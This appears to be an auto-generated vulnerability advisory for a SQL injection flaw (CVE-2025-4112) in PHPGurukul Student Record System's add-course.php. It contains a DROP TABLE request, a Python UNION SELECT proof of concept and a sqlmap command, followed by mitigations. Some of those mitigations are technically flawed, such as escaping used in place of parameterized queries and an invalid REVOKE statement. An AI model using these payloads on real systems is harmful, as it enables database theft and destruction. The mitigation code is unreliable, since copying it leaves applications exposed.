PHPGurukul Student Record System, SQL Injection, CVE-2025-4112 (Critical)

Listen to this Post

How CVE-2025-4112 Works

This vulnerability exists in PHPGurukul Student Record System 3.20 due to improper input sanitization in the `/add-course.php` file. The `course-short` parameter is directly concatenated into an SQL query without validation, allowing attackers to inject malicious SQL commands. Remote attackers can exploit this flaw by crafting a specially crafted HTTP request, potentially leading to unauthorized database access, data manipulation, or complete system compromise. The vulnerability is classified as critical due to its remote execution capability and high impact on confidentiality, integrity, and availability.

DailyCVE Form

Platform: PHPGurukul Student Record System
Version: 3.20
Vulnerability: SQL Injection
Severity: Critical
Date: 05/14/2025

What Undercode Say:

Exploitation:

POST /add-course.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
course-short='; DROP TABLE users--

Detection Command:

sqlmap -u "http://target.com/add-course.php" --data="course-short=test" --risk=3 --level=5

Mitigation:

// Secure code example
$courseShort = mysqli_real_escape_string($conn, $_POST['course-short']);
$query = "INSERT INTO courses (short_name) VALUES ('$courseShort')";

Temporary Fix:

.htaccess patch
RewriteCond %{QUERY_STRING} [\'\;]
RewriteRule ^add-course.php$ - [F,L]

Log Analysis:

grep -E "add-course.php.[\'\;]" /var/log/apache2/access.log

WAF Rule:

{
"id": "CVE-2025-4112_BLOCK",
"description": "Block SQLi in course-short param",
"action": "block",
"conditions": [
{
"field": "ARGS:course-short",
"operator": "contains",
"value": ["'", ";", "--"]
}
]
}

Database Patch:

REVOKE DELETE PERMISSION FROM webapp_user;

Exploit PoC:

import requests
payload = {"course-short": "' UNION SELECT 1,2,3,4,5--"}
r = requests.post("http://target.com/add-course.php", data=payload)
print(r.text)

Backup Recommendation:

mysqldump -u admin -p student_db > backup_prepatch.sql

Version Check:

// Add to admin dashboard
if(version_compare($current_version, '3.21', '<')) {
echo "SECURITY ALERT: Upgrade required";
}

Sources:

Reported By: nvd.nist.gov
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image

Scroll to Top